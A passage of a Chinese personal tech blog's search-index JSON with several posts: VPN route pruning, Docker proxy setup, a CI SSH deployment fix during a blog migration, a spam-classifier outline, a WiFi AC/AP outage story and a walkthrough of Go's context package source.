有两个方法可以解决这个问题：\n1\t在Docker上运行 VPN 软件进行转发 在本地启动一个Docker，然后让 VPN 运行在 Docker 内，将走服务器IP地址的流量走到 Docker 容器内，然后在容器内走 VPN 出去。这个方法肯定是可行的，不过感觉稍微麻烦了一点，采用了第二个idea\n2\t删除多余的路由表 在 VPN 软件启动之后，他不是注册了很多具体的路由嘛，而我的需求只是让服务器流量走 VPN 就可以了，其他的流量不用他管。所以写了一个脚本，在 VPN 软件启动之后运行就行。\n脚本主要实现的功能是，在路由表中匹配 VPN 网口的所有路由，只保留我服务器那一条路由，其他的全部删除，就OK，简单又完美。\n#!/bin/bash # 示例 # 提示用户输入网络接口名称 read -p \u0026#34;请输入 VPN 网络接口名称（例如utun6）: \u0026#34; vpn_interface # 提示用户输入需要保留的服务器IP地址或网段 read -p \u0026#34;请输入需要保留的服务器IP地址或网段（例如192.","title":"只让服务器流量走 VPN "},{"content":"问题描述 $ docker run hello-world Unable to find image \u0026#39;hello-world:latest\u0026#39; locally docker: Error response from daemon: Get \u0026#34;https://registry-1.docker.io/v2/\u0026#34;: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers). See \u0026#39;docker run --help\u0026#39;. 在安装完成docker之后，本来想运行一下 docker run hello-world测试安装成功与否，然后发现连接不上。\n先测试以下curl这个网站的返回情况，发现返回401,说明 DNS 没有问题\n$ curl -v https://registry-1.docker.io/v2/ * Uses proxy env variable no_proxy == \u0026#39;127.0.0.1,localhost\u0026#39; * Uses proxy env variable https_proxy == \u0026#39;http://127.0.0.1:7890\u0026#39; * Trying 127.0.0.1:7890... * Connected to 127.0.0.1 (127.0.0.1) port 7890 * CONNECT tunnel: HTTP/1.1 negotiated * allocate connect buffer * Establish HTTP proxy tunnel to registry-1.docker.io:443 \u0026gt; CONNECT registry-1.docker.io:443 HTTP/1.1 \u0026gt; Host: registry-1.docker.io:443 \u0026gt; User-Agent: curl/8.5.0 \u0026gt; Proxy-Connection: Keep-Alive \u0026gt; \u0026lt; HTTP/1.1 200 Connection established \u0026lt; * CONNECT phase completed * CONNECT tunnel established, response 200 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / RSASSA-PSS * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=*.docker.com * start date: Sep 2 00:00:00 2024 GMT * expire date: Oct 1 23:59:59 2025 GMT * subjectAltName: host \u0026#34;registry-1.docker.io\u0026#34; matched cert\u0026#39;s \u0026#34;*.docker.io\u0026#34; * issuer: C=US; O=Amazon; CN=Amazon RSA 2048 M02 * SSL certificate verify ok. * Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption * Certificate level 1: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption * Certificate level 2: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption * using HTTP/1.x \u0026gt; GET /v2/ HTTP/1.1 \u0026gt; Host: registry-1.docker.io \u0026gt; User-Agent: curl/8.5.0 \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 401 Unauthorized \u0026lt; content-type: application/json \u0026lt; docker-distribution-api-version: registry/2.0 \u0026lt; www-authenticate: Bearer realm=\u0026#34;https://auth.docker.io/token\u0026#34;,service=\u0026#34;registry.docker.io\u0026#34; \u0026lt; date: Wed, 25 Dec 2024 12:48:49 GMT \u0026lt; content-length: 87 \u0026lt; strict-transport-security: max-age=31536000 \u0026lt; {\u0026#34;errors\u0026#34;:[{\u0026#34;code\u0026#34;:\u0026#34;UNAUTHORIZED\u0026#34;,\u0026#34;message\u0026#34;:\u0026#34;authentication required\u0026#34;,\u0026#34;detail\u0026#34;:null}]} * Connection #0 to host 127.0.0.1 left intact 解决方法 配置 Docker 使用代理 目前你在使用 curl 时显式指定了代理，但 Docker 可能没有正确配置代理环境变量。\n创建 Docker 服务代理配置： 编辑 Docker 的代理配置文件：\nsudo mkdir -p /etc/systemd/system/docker.service.d sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf 添加以下内容：\n[Service] Environment=\u0026#34;HTTP_PROXY=http://127.0.0.1:7890/\u0026#34; Environment=\u0026#34;HTTPS_PROXY=http://127.0.0.1:7890/\u0026#34; Environment=\u0026#34;NO_PROXY=localhost,127.0.0.1,::1\u0026#34; 重载并重启 Docker 服务：\nsudo systemctl daemon-reload sudo systemctl restart docker 验证 Docker 配置： 确认 Docker 代理环境变量是否生效：\nsudo systemctl show --property=Environment docker 应该输出类似：\nEnvironment=HTTP_PROXY=http://127.0.0.1:7890/ HTTPS_PROXY=http://127.0.0.1:7890/ NO_PROXY=localhost,127.0.0.1,::1 ","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/docker-install/","summary":"问题描述 $ docker run hello-world Unable to find image \u0026#39;hello-world:latest\u0026#39; locally docker: Error response from daemon: Get \u0026#34;https://registry-1.docker.io/v2/\u0026#34;: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers). See \u0026#39;docker run --help\u0026#39;. 在安装完成docker之后，本来想运行一下 docker run hello-world测试安装成功与否，然后发现连接不上。\n先测试以下curl这个网站的返回情况，发现返回401,说明 DNS 没有问题\n$ curl -v https://registry-1.docker.io/v2/ * Uses proxy env variable no_proxy == \u0026#39;127.0.0.1,localhost\u0026#39; * Uses proxy env variable https_proxy == \u0026#39;http://127.0.0.1:7890\u0026#39; * Trying 127.0.0.1:7890... * Connected to 127.0.0.1 (127.0.0.1) port 7890 * CONNECT tunnel: HTTP/1.","title":"Docker run hello-world 超时"},{"content":"迁移的开始 在随着华为云服务器到期邮件和电话的轰炸之下，我终于开始行动起来要去迁移我的博客了。太久没有写博客，已经忘记了距离上一篇博文一经过了很久很久了，想不起来时间，只记得是在做 aorb 项目的时候写的。\n也忘记了之前对博客进行了一系列 CI 的优化，现在已经能够实现提交博客内容到 git repo 上，会自动拉起 github action 进行检查和部署的操作。\n不幸 然额呢，隐约记得我之前在部署的时候在 workflow 里面编写了一些机密 (secrets) 用于访问服务器但是又不公开，现在大体忘却了他们是干什么的了。服务器过了十二点就冻结了，现在晚上十点，明天下午有一个面试，可能面试官会看我的博客（虽然我大概知道他们不会这么做），但是还想在这之前把他修好。冰冷的房间，饥饿的肚子，颤抖的双手，宕机的脑袋\u0026hellip;尝试了无论怎么修改 secrets 中的 private key，依然显示我的 SSH 验证不通过。似乎我隐约记得上次我也这么干过，在这里也卡住了。\n\u0026hellip;\n还尝试了不用 github action，直接把它部署到云服务器上的方案，虽然最后也没成功（因为我后来发现这台新电脑上的博客拉下来之后本地都没有跑对页面）。\n但是复习到了以下内容：\n存放我们 public/ 代码的地方在 /var/www/blog/ 下，我是直接把 public/ 下的内容拿过的，没有要 public/ 这一层。这里要与 nginx 的配置相对应 nginx 的配置文件在：/etc/nginx/sites-availble/sirius1y.top，日志文件在 /var/log/nginx/error.log ，分析网站为什么返回403、404很常用的 检查 nginx 配置文件是否正确的命令：sudo nginx -t，重新加载 nginx 配置文件的命令 sudo systemctl reload nginx /var/www/下的文件所有者和组应该是 www-data，并且对目录和文件的权限有要求的 \u0026hellip;\n第二天晚上，在清醒的大脑之下，在排除了用户的权限和文件夹、文件的权限正确设置之后，google 了一下，发现网上有两种说法：https://github.com/openssl/openssl/issues/20054 。大概是：\n添加一段 before_script 的代码 私钥后添加 \\n 然后我尝试之后，由于我设置的用户没有 sudo 权限，所以在 before_scirot 中的 chmod 命令无法执行。然后就试了第二种方法，还是不行。然后我索性在私钥之后按下回车。然后，It works!!!\n本人的母语是无语\n# before_script before_script: - \u0026#39;command -v ssh-agent \u0026gt;/dev/null || ( apt-get update -y \u0026amp;\u0026amp; apt-get install openssh-client wget gnupg -y )\u0026#39; - wget -qO- https://get.docker.com/gpg | apt-key add - - eval $(ssh-agent -s) - echo \u0026#34;$SSH_PRIVATE_KEY\u0026#34; | tr -d \u0026#39;\\r\u0026#39; | ssh-add - - mkdir -p ~/.ssh - touch ~/.ssh/config - touch ~/.ssh/known_hosts - chmod -R 400 ~/.ssh - ssh-keyscan \u0026lt;ip\u0026gt; \u0026gt;\u0026gt; ~/.ssh/known_hosts - \u0026#39;[[ -f /.dockerinit ]] \u0026amp;\u0026amp; echo -e \u0026#34;Host *\\n\\tStrictHostKeyChecking no\\n\\n\u0026#34; \u0026gt; ~/.ssh/config\u0026#39; FUTURE 迁移服务器好麻烦，还要配环境，一弄就是小半天。\n之后尝试用 Docker 吧\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E5%B7%A5%E4%BD%9C/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/deploy-blog-v2/","summary":"迁移的开始 在随着华为云服务器到期邮件和电话的轰炸之下，我终于开始行动起来要去迁移我的博客了。太久没有写博客，已经忘记了距离上一篇博文一经过了很久很久了，想不起来时间，只记得是在做 aorb 项目的时候写的。\n也忘记了之前对博客进行了一系列 CI 的优化，现在已经能够实现提交博客内容到 git repo 上，会自动拉起 github action 进行检查和部署的操作。\n不幸 然额呢，隐约记得我之前在部署的时候在 workflow 里面编写了一些机密 (secrets) 用于访问服务器但是又不公开，现在大体忘却了他们是干什么的了。服务器过了十二点就冻结了，现在晚上十点，明天下午有一个面试，可能面试官会看我的博客（虽然我大概知道他们不会这么做），但是还想在这之前把他修好。冰冷的房间，饥饿的肚子，颤抖的双手，宕机的脑袋\u0026hellip;尝试了无论怎么修改 secrets 中的 private key，依然显示我的 SSH 验证不通过。似乎我隐约记得上次我也这么干过，在这里也卡住了。\n\u0026hellip;\n还尝试了不用 github action，直接把它部署到云服务器上的方案，虽然最后也没成功（因为我后来发现这台新电脑上的博客拉下来之后本地都没有跑对页面）。\n但是复习到了以下内容：\n存放我们 public/ 代码的地方在 /var/www/blog/ 下，我是直接把 public/ 下的内容拿过的，没有要 public/ 这一层。这里要与 nginx 的配置相对应 nginx 的配置文件在：/etc/nginx/sites-availble/sirius1y.top，日志文件在 /var/log/nginx/error.log ，分析网站为什么返回403、404很常用的 检查 nginx 配置文件是否正确的命令：sudo nginx -t，重新加载 nginx 配置文件的命令 sudo systemctl reload nginx /var/www/下的文件所有者和组应该是 www-data，并且对目录和文件的权限有要求的 \u0026hellip;\n第二天晚上，在清醒的大脑之下，在排除了用户的权限和文件夹、文件的权限正确设置之后，google 了一下，发现网上有两种说法：https://github.com/openssl/openssl/issues/20054 。大概是：\n添加一段 before_script 的代码 私钥后添加 \\n 然后我尝试之后，由于我设置的用户没有 sudo 权限，所以在 before_scirot 中的 chmod 命令无法执行。然后就试了第二种方法，还是不行。然后我索性在私钥之后按下回车。然后，It works!","title":"BLOG迁移之旅"},{"content":"实现的目标 本项目使用Transformer模型对邮件进行垃圾邮件（spam）和正常邮件（ham）的分类。\n数据集来源 数据集来自 SpamAssassin公共语料库\n项目结构 data_processor.py: 处理数据加载和处理 data_preprocessor.py: 为模型准备数据 model.py: 定义Transformer模型 trainer.py: 包含模型训练逻辑 evaluator.py: 评估训练好的模型 main.py: 协调整个处理过程 environment.yml: 定义Conda环境 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/spamdetector/","summary":"实现的目标 本项目使用Transformer模型对邮件进行垃圾邮件（spam）和正常邮件（ham）的分类。\n数据集来源 数据集来自 SpamAssassin公共语料库\n项目结构 data_processor.py: 处理数据加载和处理 data_preprocessor.py: 为模型准备数据 model.py: 定义Transformer模型 trainer.py: 包含模型训练逻辑 evaluator.py: 评估训练好的模型 main.py: 协调整个处理过程 environment.yml: 定义Conda环境 ","title":"垃圾邮件分类器——使用Transformer模型微调实现"},{"content":"在一个风和日丽的周六中午，有点热，然后坐在我旁边的同事突然发现公司的 Wifi 神秘消失了。\n\u0026ldquo;额，咱们公司的wifi是不是用不了了呀\u0026rdquo;\n\u0026ldquo;我看看，好像是哦，这是咋回事？诶，这好像是我的工作职责内的事情耶，我去看看\u0026hellip;\u0026rdquo;\n问题排查经过 打开手机查看wifi列表发现平时经常连接的wifi消失无踪，但是有很多小的wifi密密麻麻的。\n和mentor远程交流怀疑是不是AC控制器掉电导致的。\n遂重启AC控制器，发现无效。\n检查POE交换机的状态。\nmentor检查线上设备，发现AP都下线了。\n把POE交换机上的AP网线拔掉重新连接。\n然后在交换机的命令行模式中排查问题，发现是AC控制器的管理模式变了，授权没了，导致AP上线不了。\n基础知识 AP, Access Point 无线AP：即无线接入点，它用于无线网络的无线交换机，也是无线网络的核心。\n通俗理解：AP是一个信号发射器，我们收到的WIFI信号都是AP发射出来的\nAP的分类 面板式AP 吸顶式AP 室外AP 网上把AP划分为\u0026rsquo;胖AP\u0026rsquo;和\u0026rsquo;瘦AP'\n胖AP：自带管理功能的AP，例：我们的家用路由器 瘦AP：不带管理功能的AP，简单来说可以把它理解成一个信号发送与接收的天线（需要AC控制）\nAC, Access controller 接入控制器 即无线控制器，是一种网络设备，负责管理某个区域内无线网络中的AP(瘦AP)。\n主要功能：调节无缝漫游\n例：你用手机，从商场1楼走到2楼，由AC来觉得什么时候让你的手机从1楼的AP切换到2楼的AP上。确保你不会因远离1楼的AP导致信号不好而无法联网。 如果你直接用2个普通的无线路由器，就会发生手机一直连着信号不好的1楼而不切换到2楼。直到1楼彻底没有信号后才会重新链接到2楼的路由上\n一般来说，一台AC最多可以连接1024个AP，而每个AP最多可以连接255个手机。\n可以批量设置AP密码，AP的SSID。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/acap/","summary":"在一个风和日丽的周六中午，有点热，然后坐在我旁边的同事突然发现公司的 Wifi 神秘消失了。\n\u0026ldquo;额，咱们公司的wifi是不是用不了了呀\u0026rdquo;\n\u0026ldquo;我看看，好像是哦，这是咋回事？诶，这好像是我的工作职责内的事情耶，我去看看\u0026hellip;\u0026rdquo;\n问题排查经过 打开手机查看wifi列表发现平时经常连接的wifi消失无踪，但是有很多小的wifi密密麻麻的。\n和mentor远程交流怀疑是不是AC控制器掉电导致的。\n遂重启AC控制器，发现无效。\n检查POE交换机的状态。\nmentor检查线上设备，发现AP都下线了。\n把POE交换机上的AP网线拔掉重新连接。\n然后在交换机的命令行模式中排查问题，发现是AC控制器的管理模式变了，授权没了，导致AP上线不了。\n基础知识 AP, Access Point 无线AP：即无线接入点，它用于无线网络的无线交换机，也是无线网络的核心。\n通俗理解：AP是一个信号发射器，我们收到的WIFI信号都是AP发射出来的\nAP的分类 面板式AP 吸顶式AP 室外AP 网上把AP划分为\u0026rsquo;胖AP\u0026rsquo;和\u0026rsquo;瘦AP'\n胖AP：自带管理功能的AP，例：我们的家用路由器 瘦AP：不带管理功能的AP，简单来说可以把它理解成一个信号发送与接收的天线（需要AC控制）\nAC, Access controller 接入控制器 即无线控制器，是一种网络设备，负责管理某个区域内无线网络中的AP(瘦AP)。\n主要功能：调节无缝漫游\n例：你用手机，从商场1楼走到2楼，由AC来觉得什么时候让你的手机从1楼的AP切换到2楼的AP上。确保你不会因远离1楼的AP导致信号不好而无法联网。 如果你直接用2个普通的无线路由器，就会发生手机一直连着信号不好的1楼而不切换到2楼。直到1楼彻底没有信号后才会重新链接到2楼的路由上\n一般来说，一台AC最多可以连接1024个AP，而每个AP最多可以连接255个手机。\n可以批量设置AP密码，AP的SSID。","title":"Wifi神秘消失排查经历"},{"content":"理解Context 这篇文章介绍的很清楚：深入理解Go Context\n这个比较详细，但是层次不好：理解GO CONTEXT机制\n关于context的使用场景 context的主要使用场景在于：一个任务在处理的过程中可能会启动很多个协程来进行处理。在这个过程中，如果上游的任务想要取消，下游的任务也应当一起取消。context的任务就来了。\n内容介绍 context包的内容可以概括为：1个接口，4个实现，6个方法\n接口 context.Context 一个接口是指：context.Context\ntype Context interface { Deadline() (deadline time.Time, ok bool) Done() \u0026lt;-chan struct{} Err() error Value(key interface{}) interface{} } Deadline( ) Deadline会返回一个超时时间，Goroutine获得了超时时间后，例如可以对某些io操作设定超时时间。\n函数签名 Deadline() (deadline time.Time, ok bool)\nDeadline 返回的时间 deadline time.Time 代表这个ctx应该被取消的时间。返回的 ok 如果是 false 表示这个context没有设置deadline。连续调用 Deadline 会返回相同的结果。\n// Deadline returns the time when work done on behalf of this context // should be canceled. Deadline returns ok==false when no deadline is // set. Successive calls to Deadline return the same results. Deadline() (deadline time.Time, ok bool) Done( ) Done方法返回一个信道（channel），当Context被撤销或过期时，该信道是关闭的，即它是一个表示Context是否已关闭的信号。\n函数签名 Done() \u0026lt;-chan struct{}\nDone方法返回一个关闭的通道代表这个context应该被取消，如果这个context永远不会被取消，则Done会返回nil，连续调用会返回相同的值。Done channel的关闭可能是异步的，在cancel函数之后。\nWithCancel 函数安排当 cancel 被调用的时候关闭Done WithDeadline 安排当 deadline 过期的时候关闭Done WithTimeout 安排当 timeout 过期的时候关闭Done Done 可以在 select 表达式中使用\n// Done returns a channel that\u0026#39;s closed when work done on behalf of this // context should be canceled. Done may return nil if this context can // never be canceled. Successive calls to Done return the same value. // The close of the Done channel may happen asynchronously, // after the cancel function returns. // // WithCancel arranges for Done to be closed when cancel is called; // WithDeadline arranges for Done to be closed when the deadline // expires; WithTimeout arranges for Done to be closed when the timeout // elapses. // // Done is provided for use in select statements: // // // Stream generates values with DoSomething and sends them to out // // until DoSomething returns an error or ctx.Done is closed. // func Stream(ctx context.Context, out chan\u0026lt;- Value) error { // for { // v, err := DoSomething(ctx) // if err != nil { // return err // } // select { // case \u0026lt;-ctx.Done(): // return ctx.Err() // case out \u0026lt;- v: // } // } // } // // See https://blog.golang.org/pipelines for more examples of how to use // a Done channel for cancellation. Done() \u0026lt;-chan struct{} Err( ) 当Done信道关闭后，Err方法表明Context被撤的原因。\n函数签名 Err() error\n如果 Done 还没有关闭，Err() 返回nil；如果已经关闭了，Err() 会返回一个非空的error解释为什么关闭。\n如果上下文被取消，则返回 Canceled 如果上下文的截止日期已过，则返回 DeadlineExceeded。 Canceled 和 DeadlineExceeded 是两个 error，他们都是由 context.Err() 返回\n// Canceled is the error returned by [Context.Err] when the context is canceled. var Canceled = errors.New(\u0026#34;context canceled\u0026#34;) // DeadlineExceeded is the error returned by [Context.Err] when the context\u0026#39;s // deadline passes. var DeadlineExceeded error = deadlineExceededError{} func (deadlineExceededError) Error() string { return \u0026#34;context deadline exceeded\u0026#34; } func (deadlineExceededError) Timeout() bool { return true } func (deadlineExceededError) Temporary() bool { return true } 当 Err() 返回非空错误之后，连续调用 Err() 会返回相同的错误\n// If Done is not yet closed, Err returns nil. // If Done is closed, Err returns a non-nil error explaining why: // Canceled if the context was canceled // or DeadlineExceeded if the context\u0026#39;s deadline passed. // After Err returns a non-nil error, successive calls to Err return the same error. Err() error Value( ) Value可以让Goroutine共享一些数据，当然获得数据是协程安全的。但使用这些数据的时候要注意同步，比如返回了一个map，而这个map的读写则要加锁。\n函数签名 Value(key any) any\nValue() 返回传入的 key 在这个 context 中关联的 value；如果这个 key 没有关联值则会返回 nil 。连续调用相同的 key 会返回相同的结果。\nValues 应该只用作传递跨进程和 API 边界的请求作用域数据，而不是用于传递函数的可选参数。\nkey 标识 Context 中的特定值。一个函数如果想要在 Context 中存储值，通常会在全局变量中分配一个 key ，然后使用该键作为 context.WithValue 和 Context.Value 的参数。\nkey 可以是任何支持相等的类型；软件包应将键定义为不导出的类型（变量名小写），以避免碰撞。\n// Value returns the value associated with this context for key, or nil // if no value is associated with key. Successive calls to Value with // the same key returns the same result. // // Use context values only for request-scoped data that transits // processes and API boundaries, not for passing optional parameters to // functions. // // A key identifies a specific value in a Context. Functions that wish // to store values in Context typically allocate a key in a global // variable then use that key as the argument to context.WithValue and // Context.Value. A key can be any type that supports equality; // packages should define keys as an unexported type to avoid // collisions. // // Packages that define a Context key should provide type-safe accessors // for the values stored using that key: // // // Package user defines a User type that\u0026#39;s stored in Contexts. // package user // // import \u0026#34;context\u0026#34; // // // User is the type of value stored in the Contexts. // type User struct {...} // // // key is an unexported type for keys defined in this package. // // This prevents collisions with keys defined in other packages. // type key int // // // userKey is the key for user.User values in Contexts. It is // // unexported; clients use user.NewContext and user.FromContext // // instead of using this key directly. // var userKey key // // // NewContext returns a new Context that carries value u. // func NewContext(ctx context.Context, u *User) context.Context { // return context.WithValue(ctx, userKey, u) // } // // // FromContext returns the User value stored in ctx, if any. // func FromContext(ctx context.Context) (*User, bool) { // u, ok := ctx.Value(userKey).(*User) // return u, ok // } Value(key any) any 实现 emptyCtx emptyCtx 是一个结构体，实现了 Context 接口中的所有方法\nemptyCtx 永远不会被取消，没有vlue，没有deadline；他是backgroundCtx 和 todoCtx 的共同基础\n// An emptyCtx is never canceled, has no values, and has no deadline. // It is the common base of backgroundCtx and todoCtx. type emptyCtx struct{} func (emptyCtx) Deadline() (deadline time.Time, ok bool) { return } func (emptyCtx) Done() \u0026lt;-chan struct{} { return nil } func (emptyCtx) Err() error { return nil } func (emptyCtx) Value(key any) any { return nil } backgroundCtx 结构体中包含了emptyCtx，它的 String 方法返回一个字符串\u0026quot;context.Background\u0026quot;\n主要在 context.Background 中被返回\ntype backgroundCtx struct{ emptyCtx } func (backgroundCtx) String() string { return \u0026#34;context.Background\u0026#34; } todoCtx 结构体中包含了emptyCtx，它的 String 方法返回一个字符串\u0026quot;context.TODO\u0026quot;\n主要在 context.TODO 中被返回\ntype todoCtx struct{ emptyCtx } func (todoCtx) String() string { return \u0026#34;context.TODO\u0026#34; } cancelCtx cancelCtx是一个可以被取消的Context。当它被取消时，它还会取消任何实现了canceler接口的子Context。\nContext: 嵌入的Context接口，使得cancelCtx可以作为Context使用。 mu: 一个互斥锁（sync.Mutex），用于保护以下字段。 done: 一个atomic.Value，存储一个chan struct{}类型的通道，这个通道在第一次取消调用时会被关闭。 children: 一个映射，存储所有实现了canceler接口的子Context。在第一次取消调用时，这个映射会被设置为nil。 err: 一个错误，在第一次取消调用时会被设置为非nil值，表示Context已经被取消。 cause: 一个错误，在第一次取消调用时会被设置为非nil值，表示取消的原因。 // A cancelCtx can be canceled. When canceled, it also cancels any children // that implement canceler. type cancelCtx struct { Context mu sync.Mutex // protects following fields done atomic.Value // of chan struct{}, created lazily, closed by first cancel call children map[canceler]struct{} // set to nil by the first cancel call err error // set to non-nil by the first cancel call cause error // set to non-nil by the first cancel call } func (c *cancelCtx) Value(key any) any { if key == \u0026amp;cancelCtxKey { return c } return value(c.Context, key) } func (c *cancelCtx) Done() \u0026lt;-chan struct{} { d := c.done.Load() if d != nil { return d.(chan struct{}) } c.mu.Lock() defer c.mu.Unlock() d = c.done.Load() if d == nil { d = make(chan struct{}) c.done.Store(d) } return d.(chan struct{}) } func (c *cancelCtx) Err() error { c.mu.Lock() err := c.err c.mu.Unlock() return err } timerCtx timerCtx 包含一个计时器和截止时间；\ntimerCtx 嵌入了一个cancelCtx，以实现Done和Err方法。这意味着 timerCtx 可以直接使用 cancelCtx 的Done和Err方法来处理取消通知和错误状态。\ntimerCtx实现取消操作时，首先会停止其计时器，然后委托cancelCtx.cancel方法来执行实际的取消操作。这意味着在取消timerCtx时，会先确保计时器不再触发，然后再进行取消操作。\n// A timerCtx carries a timer and a deadline. It embeds a cancelCtx to // implement Done and Err. It implements cancel by stopping its timer then // delegating to cancelCtx.cancel. type timerCtx struct { cancelCtx timer *time.Timer // Under cancelCtx.mu. deadline time.Time } func (c *timerCtx) Deadline() (deadline time.Time, ok bool) { return c.deadline, true } func (c *timerCtx) String() string { return contextName(c.cancelCtx.Context) + \u0026#34;.WithDeadline(\u0026#34; + c.deadline.String() + \u0026#34; [\u0026#34; + time.Until(c.deadline).String() + \u0026#34;])\u0026#34; } func (c *timerCtx) cancel(removeFromParent bool, err, cause error) { c.cancelCtx.cancel(false, err, cause) if removeFromParent { // Remove this timerCtx from its parent cancelCtx\u0026#39;s children. removeChild(c.cancelCtx.Context, c) } c.mu.Lock() if c.timer != nil { c.timer.Stop() c.timer = nil } c.mu.Unlock() } valueCtx valueCtx结构体包含一个键值对，其中key和val字段分别表示键和值\nvalueCtx实现了Value方法，用于检索与特定键关联的值。对于其他方法的调用，它会委托给嵌入的Context\nstringify 函数尝试将任意类型的值转换为字符串，而不使用fmt包。\n该函数用于*valueCtx.String()方法中，将键和值转换为字符串表示。 使用类型断言检查值的类型： 如果是实现了stringer接口的类型，调用其String方法。 如果是字符串类型，直接返回该字符串。 如果是nil，返回字符串\u0026quot;\u0026lt;nil\u0026gt;\u0026quot;。 其他情况，使用reflectlite.TypeOf(v).String()获取类型名称。 String 方法返回valueCtx的字符串表示。\n调用contextName(c.Context)获取父Context的名称。 使用stringify函数将键和值转换为字符串。 拼接这些字符串，形成最终的字符串表示。 Value 方法用于检索与特定键关联的值。\n首先检查传入的key是否与valueCtx中的key匹配。 如果匹配，返回对应的值c.val。 如果不匹配，调用value(c.Context, key)从父Context中检索值。 value 函数用于在Context链中检索特定键的值。\n使用一个无限循环遍历Context链。 使用类型断言检查当前Context的类型： 如果是*valueCtx，检查键是否匹配，如果匹配则返回值，否则继续检查父Context。 如果是*cancelCtx，检查键是否为\u0026amp;cancelCtxKey，如果是则返回Context本身，否则继续检查父Context。 如果是withoutCancelCtx，检查键是否为\u0026amp;cancelCtxKey，如果是则返回nil，否则继续检查父Context。 如果是*timerCtx，检查键是否为\u0026amp;cancelCtxKey，如果是则返回\u0026amp;ctx.cancelCtx，否则继续检查父Context。 如果是backgroundCtx或todoCtx，直接返回nil。 默认情况下，调用当前Context的Value方法继续检索值。 // A valueCtx carries a key-value pair. It implements Value for that key and // delegates all other calls to the embedded Context. type valueCtx struct { Context key, val any } // stringify tries a bit to stringify v, without using fmt, since we don\u0026#39;t // want context depending on the unicode tables. This is only used by // *valueCtx.String(). func stringify(v any) string { switch s := v.(type) { case stringer: return s.String() case string: return s case nil: return \u0026#34;\u0026lt;nil\u0026gt;\u0026#34; } return reflectlite.TypeOf(v).String() } func (c *valueCtx) String() string { return contextName(c.Context) + \u0026#34;.WithValue(\u0026#34; + stringify(c.key) + \u0026#34;, \u0026#34; + stringify(c.val) + \u0026#34;)\u0026#34; } func (c *valueCtx) Value(key any) any { if c.key == key { return c.val } return value(c.Context, key) } func value(c Context, key any) any { for { switch ctx := c.(type) { case *valueCtx: if key == ctx.key { return ctx.val } c = ctx.Context case *cancelCtx: if key == \u0026amp;cancelCtxKey { return c } c = ctx.Context case withoutCancelCtx: if key == \u0026amp;cancelCtxKey { // This implements Cause(ctx) == nil // when ctx is created using WithoutCancel. return nil } c = ctx.c case *timerCtx: if key == \u0026amp;cancelCtxKey { return \u0026amp;ctx.cancelCtx } c = ctx.Context case backgroundCtx, todoCtx: return nil default: return c.Value(key) } } } 方法 Background context.Background 方法返回一个 non-nil 但是 empty 的一个 context。返回的这个context其实就是 emptyCtx ，外加了一个 String 方法\n函数调用场景\n这个方法主要在 main 函数中使用，作为 Context 树中的最高的节点\n// Background returns a non-nil, empty [Context]. It is never canceled, has no // values, and has no deadline. It is typically used by the main function, // initialization, and tests, and as the top-level Context for incoming // requests. func Background() Context { return backgroundCtx{} } TODO context.TODO 返回一个 non-nil 但是 empty 的一个context。返回的这个context其实就是 emptyCtx ，外加了一个 String 方法\n函数调用场景\n不明确使用哪个Context：在某些情况下，开发者可能不清楚应该使用哪个Context。可能因为代码中存在多个Context，而每个Context都有其特定的用途或生命周期，选择错误的Context可能会导致预期之外的行为。 Context尚不可用：在代码的早期版本中，当时还没有引入Context作为函数参数。随着代码编写，开发者可能需要将Context参数添加到函数中，以便更好地管理请求的生命周期和取消操作。 // TODO returns a non-nil, empty [Context]. Code should use context.TODO when // it\u0026#39;s unclear which Context to use or it is not yet available (because the // surrounding function has not yet been extended to accept a Context // parameter). func TODO() Context { return todoCtx{} } WithCancel CancelFunc 类型 CancelFunc 用于通知某个操作放弃其工作。调用这个函数意味着操作应该停止执行。\n函数本身不会等待操作实际停止。它只是发送一个信号，告诉操作应该停止，但不会阻塞等待操作真正停止。\n可以被多个goroutine同时调用。这意味着多个并发执行的goroutine可以独立地决定取消操作。\n一旦CancelFunc被第一次调用，后续的调用将不会有任何效果。这确保了取消操作只会被执行一次，避免了重复取消的问题。\nWithCancel 函数 函数签名 func WithCancel(parent Context) (ctx Context, cancel CancelFunc)\nWithCancel函数返回一个基于父Context的新Context实例，并附带一个新的Done通道。\n返回的Context的Done通道会在以下两种情况之一发生时关闭：\n返回的cancel函数被调用。 父Context的Done通道被关闭。 取消这个Context会释放与之关联的资源，因此代码应该在运行在这个Context中的操作完成后立即调用cancel函数。\n// A CancelFunc tells an operation to abandon its work. // A CancelFunc does not wait for the work to stop. // A CancelFunc may be called by multiple goroutines simultaneously. // After the first call, subsequent calls to a CancelFunc do nothing. type CancelFunc func() // WithCancel returns a copy of parent with a new Done channel. The returned // context\u0026#39;s Done channel is closed when the returned cancel function is called // or when the parent context\u0026#39;s Done channel is closed, whichever happens first. // // Canceling this context releases resources associated with it, so code should // call cancel as soon as the operations running in this [Context] complete. func WithCancel(parent Context) (ctx Context, cancel CancelFunc) { c := withCancel(parent) return c, func() { c.cancel(true, 